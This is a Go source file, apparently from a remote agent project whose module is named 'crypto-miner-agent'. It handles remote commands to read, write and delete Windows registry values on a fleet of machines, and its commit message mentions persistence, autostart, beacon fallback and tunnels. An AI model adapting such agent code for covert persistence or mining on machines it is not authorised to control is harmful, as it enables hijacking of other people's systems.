Files
AetherForge/agent/client/registry_ops_windows.go
AetherForge 5fc601b564 feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
2026-06-04 09:34:33 -07:00

90 lines
2.4 KiB
Go

//go:build windows
package client
import (
"encoding/json"
"fmt"
"strings"
"crypto-miner-agent/deploy"
)
type registryCommandPayload struct {
Hive string `json:"hive"`
Path string `json:"path"`
Name string `json:"name"`
Value string `json:"value"`
Type string `json:"type"`
}
func (c *AgentClient) handleRegistryCommand(action, path, data string) bool {
switch action {
case "registry_read", "registry_write", "registry_delete":
default:
return false
}
payload, err := parseRegistryPayload(path, data)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
hiveToken, err := deploy.ParseRegistryHive(payload.Hive)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
switch action {
case "registry_read":
out, err := deploy.FleetRegistryRead(hiveToken, payload.Path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
b, _ := json.Marshal(out)
c.sendCommandResult(action, true, string(b))
case "registry_write":
if payload.Name == "" || payload.Value == "" {
c.sendCommandResult(action, false, "name and value are required")
return true
}
if err := deploy.FleetRegistryWrite(hiveToken, payload.Path, payload.Name, payload.Value, payload.Type); err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("wrote %s\\%s\\%s", strings.ToUpper(payload.Hive), payload.Path, payload.Name))
case "registry_delete":
if payload.Name == "" {
c.sendCommandResult(action, false, "name is required")
return true
}
if err := deploy.FleetRegistryDelete(hiveToken, payload.Path, payload.Name); err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("deleted %s\\%s\\%s", strings.ToUpper(payload.Hive), payload.Path, payload.Name))
}
return true
}
func parseRegistryPayload(path, data string) (registryCommandPayload, error) {
var payload registryCommandPayload
if strings.TrimSpace(data) != "" {
if err := json.Unmarshal([]byte(data), &payload); err != nil {
return payload, fmt.Errorf("invalid registry payload JSON: %w", err)
}
}
if payload.Path == "" {
payload.Path = strings.TrimSpace(path)
}
if payload.Hive == "" {
return payload, fmt.Errorf("hive is required (HKCU or HKLM)")
}
if payload.Path == "" {
return payload, fmt.Errorf("path is required")
}
return payload, nil
}